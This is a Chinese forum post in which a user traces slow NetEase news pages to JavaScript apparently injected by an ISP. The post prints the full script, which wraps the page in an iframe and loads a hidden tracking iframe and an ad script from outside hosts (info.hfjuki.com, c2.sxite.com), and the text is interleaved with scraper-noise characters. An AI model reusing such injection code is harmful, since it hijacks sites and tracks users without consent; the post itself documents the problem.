|
本帖最后由 hudba 于 2015-2-3 00:56 编辑 ( b4 G6 B3 B. x9 Y
6 @5 G/ h# t- b, p: t- e上网易看新闻半天打不开,发现状态栏在现实访问一个奇怪的域名。心里一惊,难道电脑中毒了?赶紧查看源代码,发现后面加了一段js,真正的新闻内容给iframe了 E( @6 ~& t0 L `( G: L
; K% l' Q3 A! }; ~
接下来就是去搜索这个域名,得到v2ex里面也有人遇到这个问题,原来是运营商搞的鬼{:soso_e131:}
" k1 a/ v6 b. _2 Lhttps://www.google.com/search?q=info.hfjuki.com&ie=utf-8&oe=utf-8 http://www.v2ex.com/t/142197 8 l: H6 P8 ~4 f
2 \+ {+ |. L9 V/ c' D1 J顺便查下ip138:4 k# X/ a1 r$ p0 [
% ]9 S2 L& a' ]; f' c! K
这是那段js里面的代码,好象是个半成品还没写入广告数据:
. n: I# C' Y1 z4 X5 }6 L- function locationSearch() {
2 {) k6 c. T2 C% U - var s = getMainJs();1 z! ]$ D5 s9 }8 y2 P
- if (s == null) {
6 \- Q0 i$ x: a - location.reload();! W- w# q6 ?. o3 U
- }+ X: l* v! v# S" N1 y- `
- return s.src.substring(s.src.indexOf(".js?") + 3, s.src.length);9 \4 X; z2 K1 T/ Z# p& C
- }0 ?2 v7 P$ S* S% N, G- l5 a( q6 ~, r
: v, V: q& v+ R- function getParameter(name, paraStr) {
3 `* H% K: P* s4 G& I. u: C - var result = "";
: R2 S) ], Y1 U/ L1 D7 Z3 i) v/ H D) r' j - var str = "&" + paraStr.split("?")[1];' M- t2 `* J- c
- var paraName = "&" + name + "=";1 w+ K, ^. z# t/ d
- if (str.indexOf(paraName) != -1) {9 [6 P, C1 U7 D5 Y5 O
- if (str.substring(str.indexOf(name), str.length).indexOf("&") != -1) {! F3 a$ h9 s: T1 N7 [1 E
- var TmpStr = str.substring(str.indexOf(paraName), str.length);1 U9 j- u. R) M( @, n
- result = TmpStr.substr(TmpStr.indexOf(paraName), TmpStr.substring( }2 `5 C6 {1 g. \ t
- 1, TmpStr.length).indexOf("&")$ j* U, U+ I2 G
- - TmpStr.indexOf(paraName) + 1);
_7 {5 j4 M7 U. ]& l6 P7 L - } else {
8 M1 J+ r, Y' t5 `) o9 z D7 Q& D - result = str.substring(str.indexOf(paraName), str.length);
% }* B" N, j# b' C, ?, Z - }
$ G" T. E0 E0 u. ?: G/ K' w' K
0 Q, H1 {' n9 q- result = result.substring(result.indexOf("=") + 1, result.length);* n( o0 X7 n# N" f! s
- } else {
# S2 P/ p8 j0 Z! A& Q' y4 c - result = "No such parameter";5 S+ p7 w5 L- `2 U- _
- }
8 s0 z2 |: c, a$ E - return (result.replace("&", ""));3 T- d# Y0 R" ^1 L
- }
7 g' C. S3 b% v9 ?/ y - 2 Z, C$ |! n B3 G' V
- function getMainJs() {
5 o" C1 [5 d0 I9 H) P( G; z8 U- Z - var scripts = document.getElementsByTagName("script");
: \3 c) F* i# K& { ]% T - var s = null;5 y9 B w/ |6 w9 t" {% V. g+ F
- for (var i = 0; i < scripts.length; i++) {* |, V/ V7 u/ w& o3 v! {2 f }, W
- if (scripts[i] != "undefined" && scripts[i].src.indexOf("t_c") != -1) {8 F! z( A% ~' t, F# h5 e, Z
- s = scripts[i];
8 d; y. F" F5 M, x - break;
5 G' p) T2 {4 k/ S; j, j - }' e1 n8 b* \8 W* b/ Y+ r
- }) s) x: ~$ r' i1 o* |9 ^
- return s;
2 [ q6 t, p1 Y, n, e - }# x5 o5 C3 n/ g8 w b
- ( ]8 a$ J% l! C2 S [% b7 ~
- function appendParam(oStr, aStr) {
2 Y+ o( J/ u! {4 n0 E - if (oStr.indexOf('?') > 0) {
/ N4 m; N1 I* P - oStr = oStr + "&" + aStr;
+ n# W' \8 O5 ^5 P2 S } - } else {
8 @' ~" J- }' F) F! T4 G - oStr = oStr + "?" + aStr;! _+ v$ [* R" O" F
- }( l3 M6 N, j/ G8 c5 z& s+ P
- return oStr;, \2 f: B$ e% s7 M4 N3 c! l: f
- }
$ t2 h% K, }% _- {' V+ Y
; o) h g+ T" v0 R% H- window.onerror = function() {) x0 |- @5 j) A( A$ D; L K
- };- D: L7 ]2 X' R
" t5 |" q! x+ |- var g_titleTime = 0;
, O4 h+ h$ H" ]6 F - function setTcTitle() {1 t& B6 N: k3 q9 m& F
- if (undefined == document) {
1 p6 X; r4 @* c - g_titleTime++;3 Q" ~. w0 z1 o/ h1 l& c! C
- setTimeout("setTcTitle();", 1000);
8 {) Q, r1 c6 p; | - return;
! ^. i$ C( d9 z; F; d; T+ x - }6 X* V+ g" t g/ |' T; ]
- 4 \* o' U1 C3 O' p: h% m, Q- w
- var doc;
1 A8 O1 R& o9 x3 ` - try {6 d) D. T" R7 B
- if (document.all) {
3 g8 f, i, p9 q! t - doc = document.frames["cn"].document;0 v: o- E+ n- n
- } else {
2 ]% i8 p1 w1 H8 x - doc = document.getElementById("cn").contentDocument;
7 }8 l+ C! z6 p: f# r - }
: |" {4 a$ G% m* N& X3 g. _1 z - } catch (ex) {
; e; [4 E1 u4 w4 | - }
0 e" i. p! u4 S' z0 q
/ R2 s- |1 P4 g# _* i- if (g_titleTime < 5
& t. B9 Y: Y; z) ? - && (undefined == doc || undefined == doc.title || "" == doc.title)) {" T# a9 j: ~; y# J6 H8 i
- g_titleTime++;
9 s! N0 m% r& j4 z! A6 l5 q) O/ p - setTimeout("setTcTitle();", 1000);. C" \' A7 c' g- W8 A! u
- return;
9 j( r: G& T2 k2 s' P% ^1 E0 z! f. } - } else if (undefined != doc && undefined != doc.title && "" != doc.title) {$ n+ e0 S: W0 P1 c! w# [7 Y- q
- document.title = doc.title;0 N5 c& m, l" l" e2 V! Q
- setTcAdvVisible();, m! ?% \( R" M' v/ a9 O
- }
) b8 ~0 k$ R) ] - }
' c4 l" |' b' ?& {, n' t" F - / b# G- `) ]2 h; q
- setTimeout("setTcTitle();", 1000);- [( K% N, h; i! u4 G
- 7 Q4 l; h; M- y
- var g_isHaveVisible = false;
' ]) ~6 x# I( A }. G3 P' E3 H - function setTcAdvVisible() {
4 u) d# X2 ` a0 P! ] - if (undefined != document && undefined != document.getElementById("addiv")( t: F; w- [" Y* L0 E, m* e) Y8 Q4 e; O
- && !g_isHaveVisible) {
' ?6 _9 Y0 h( O# u* y+ b2 M - document.getElementById("addiv").style.visibility = 'visible';& q) B5 M. w- _$ x4 W6 X8 _( _
- document.getElementById("addiv").style.display = 'block';
/ f' |9 F' L8 K( `- a, | - g_isHaveVisible = true;0 u7 u8 B u# \* C
- }
n3 B' H- H3 t! J- N - }
, \1 N' O4 B& b; @' f9 W5 L- p - 4 |/ W5 P2 t4 w$ D: a
- function UrlAnalyzer() {2 d; t5 O0 E* P0 I
- this.divda = "";6 P* _3 x$ ^6 R: y! K9 V
- this.tctype = "";
6 T. S! ]7 K! x. a$ s4 w2 G - this.radius = "";
( l1 g. A* L8 j - this.rlu = "";+ ?2 I% ^0 M" x$ O5 Q
- }
6 W" y c2 J6 }8 _ [- d4 [3 B
# U( ^) ^1 R" a8 Y+ N* G5 c( N- UrlAnalyzer.prototype.initParameters = function() {0 _6 v! x, O5 |/ K% y& d) M0 i8 a
- var paraStr = locationSearch();
0 q7 h" Y" K# @: R - this.rlu = getParameter("lruedct", paraStr);! X1 `2 Q4 r- }: o8 }/ j7 p# A
- this.divda = getParameter("divda", paraStr);% B& z5 Q8 C* p
- this.radius = getParameter("radius", paraStr);! _ i. B# T) I5 b) O
- this.tctype = getParameter("tctype", paraStr);
% v" t; G7 G' } I0 c* b6 J - this.address = getParameter("address", paraStr);9 ?; j0 S8 l3 s) L3 v: g1 o8 G" {
- this.usagent = getParameter("usagent", paraStr);
1 t+ S$ y6 P) e/ `& ` - }/ j4 U$ C Y$ c1 u8 l/ X, y
- & q+ k& Q- ?) N# |& \
- UrlAnalyzer.prototype.getHtmlDoc = function() {
3 t b+ T* ]; D$ R' L/ e - var doc;, S1 F# w. u5 z7 K; O5 N( S8 L
- try {
3 O; R2 }9 j' u+ A) G9 B1 \) n3 r - if (document.all) {: w5 P9 Y4 G7 V) b
- doc = document.frames["cn"].document;" c8 f6 U( w6 X( a: m; _+ r: B1 L
, _0 }( ?* s+ R7 V0 d: h- } else {$ D. v- n, Q& y: x4 s/ j6 l# ?8 [; i
- doc = document.getElementById("cn").contentDocument;
% T6 v" \4 x( l- a - // doc = document.getElementById("cn").contentWindow.document;
# L9 Z& V7 \6 |# g5 Y" G0 F7 O - }3 U& d, {( \5 r; ]. R' d
- } catch (ex) {
7 `; J u* Z5 O - }
/ P/ a: b7 l, @: \ - return doc;
8 J2 ]! l( M% I! I1 j& A - }
. U3 p) q5 D8 _- m - 7 E4 G) R; D$ y% Q( m& I
- UrlAnalyzer.prototype.setDomain = function() {1 b- P5 R; V# E1 L- Z7 J' o
- if (undefined != document.title && "" == document.title)# A0 A7 v! T. G+ o/ w% c% b
- {
8 v4 F# y n" d& ` - var index = document.domain.indexOf(".");( t2 a m" r3 G' U, l- e
- if (undefined != index && -1 != index) {
( b5 w; [/ {) x- ], E/ Z - document.domain = document.domain.substring(index + 1,* ]+ E0 f1 d* ~0 d- q" Y% ?5 O
- document.domain.length);! B# s8 F8 I6 I; ^+ n& k: h( b1 D
- }
& s$ r9 O0 M2 p& X7 c* l - 9 ]3 c2 ]" U( {' D$ r, Q0 N7 _8 \
- var doc = this.getHtmlDoc();
( B8 V |/ A5 e/ P9 Q) g - if (undefined != doc && undefined != doc.title && "" != doc.title) {
+ l( H) @1 [+ @ - document.title = doc.title;
: L* D9 k/ w6 `. }; z, F1 J% T - setTcAdvVisible();" P) G @. ]& m4 ~% F8 [4 D' q
- }& @% p7 ~+ x( E5 F6 c, M$ A
- }/ M+ r+ R. A0 r& ?4 j
- }
) D0 o: y* V. v6 [8 [
, e* h" J( S Q( Z. ?- UrlAnalyzer.prototype.iframeCallback = function() {5 f& X; j* P0 n- Q
- var doc = this.getHtmlDoc();
1 u( n/ {5 k) Q. o( _% n - if (undefined == doc || undefined == doc.title || "" == doc.title) {9 M) q- m) ^6 g3 m6 y
- if (undefined != document.domain) {
/ S! U/ y( E" V
* \8 \% f5 v J' t- var self = this;+ ~/ r; O# f5 N
- setTimeout(function(){self.setDomain.call(self, null)}, 1000);. U0 n( E9 @% e% U7 Y
- // var index = document.domain.indexOf(".");
0 B9 K3 h* ^7 ]: j9 G. v - // if (undefined != index && -1 != index) {
3 t% W" U+ T Y# f/ u0 n - // document.domain = document.domain.substring(index + 1," s- c5 q* t; [! E* w
- // document.domain.length);
, s$ O/ u% ^9 y9 x5 ^ - // }
, r( V) v8 n2 }* A0 t - //
. n" E" ~/ l& w" [) p/ m - // var doc = this.getHtmlDoc();( {4 x" d0 k" \' b1 P
- // if (undefined != doc && undefined != doc.title && "" !=, Z, w5 g4 e |+ L4 p6 q" V& ?+ R
- // doc.title) {) F8 D" y4 ?- ~+ E' r
- // document.title = doc.title;, ~6 m2 W6 `1 J" x$ g
- // setTcAdvVisible();
2 X( A' R* @: O5 g4 K6 L - // }
9 x' ^! B* m' O# I. f! X - }
" s3 y z) h) K+ f( B' _ - } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
g; B1 \1 N" ? C; { - document.title = doc.title;/ _1 i3 c2 e- c( Y3 {
- setTcAdvVisible();
/ V# U5 O1 q6 v7 c - }* n. g. I2 v9 j! T
- }
; ]; w7 |2 D O0 K; M- n0 N6 f - / o) Z/ v% a+ P) H4 {( o
- UrlAnalyzer.prototype.executeHtmlContext = function() {
; ]8 s) ~% V& [" C2 g7 U - var staUrl = "http://info.hfjuki.com:8060/page/statistics?advId=" + this.divda
0 A: \2 W2 q6 e3 y3 y5 N - + "&rd=" + this.radius + "&tctype=" + this.divda + "&address=" + this.address + "&usagent=" + this.usagent;
8 r2 o4 X$ z) x! ?
" Y& q- G2 W5 e A2 s% F- var htmlStr = "<iframe src="" + staUrl
; p0 R' F9 E$ i/ w' Q( E - + "" style="display:none"></iframe>";9 I. g0 {5 G x3 P9 v% N
- . g5 q2 W9 k# Z' P: ^$ W7 g3 S
- var advUrl = htmlStr& K1 p9 c4 ]1 i# ^$ r
- + "<script src="http://c2.sxite.com:8060/center?advId="4 \/ m. O9 f$ J) g. P, u! x
- + this.divda + "&radius=" + this.radius + "&area=1" + ""><\/script>";
2 L, r/ f5 A% U2 f" S9 P - document.write(advUrl);
- J! |, F; @, l; Z
0 @) d: q- G. d& t- var self = this;( i! `5 i# J E1 y7 O4 V
- var iframe = document.getElementById("cn");
$ _( U8 `* o6 V# b- N% J9 S - if (iframe.attachEvent) {; z8 X, |7 g1 p; r1 {
- iframe.attachEvent("onload", function() {
5 [$ N3 X ?8 R - self.iframeCallback.call(self, null);
8 a( _0 T' w: P( f% y0 b7 P - });
5 ^# e" I# d) B# d - } else {" c% M. J! s/ ?/ {1 B
- iframe.onload = function() {
0 z+ k/ j* y1 u' M. F- D - self.iframeCallback.call(self, null);1 i- V' ^; n& X4 ^5 s: L
- }) h- k4 {% Z8 E5 D/ d
- }
; ~2 g; _, n! l# E5 ~, V! ^, n - }. p6 p B3 F& L1 @+ T/ v
. z9 L1 ?/ h& @. D- UrlAnalyzer.prototype.executeMain = function() {
: \4 `0 M3 {* o# ~ - var mainFrame = document.getElementById("cn");
) n3 Y& G. e0 E0 ?! I1 a) G - mainFrame.contentWindow.location.href = mainFrame.src;; d; I* E1 \2 m
- this.initParameters();
; C0 h. y6 ^2 i - this.executeHtmlContext();0 @; B- `! e! [* R
- }3 V7 G+ O0 [# |! @2 m. N; C
/ {4 b z: k- x0 x+ w. J G6 @/ T- var g_analyzer = new UrlAnalyzer();
) d5 l$ E0 n% ^& s5 k - g_analyzer.executeMain();' O2 M, K9 `0 y/ G. v. C
复制代码 , }( D2 D' e5 g* J0 L& ]
3 m& g. `% e+ n' w! R# @1 m, P
5 x' `1 |* n0 |4 M5 Y |
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有账号?立即注册
x
|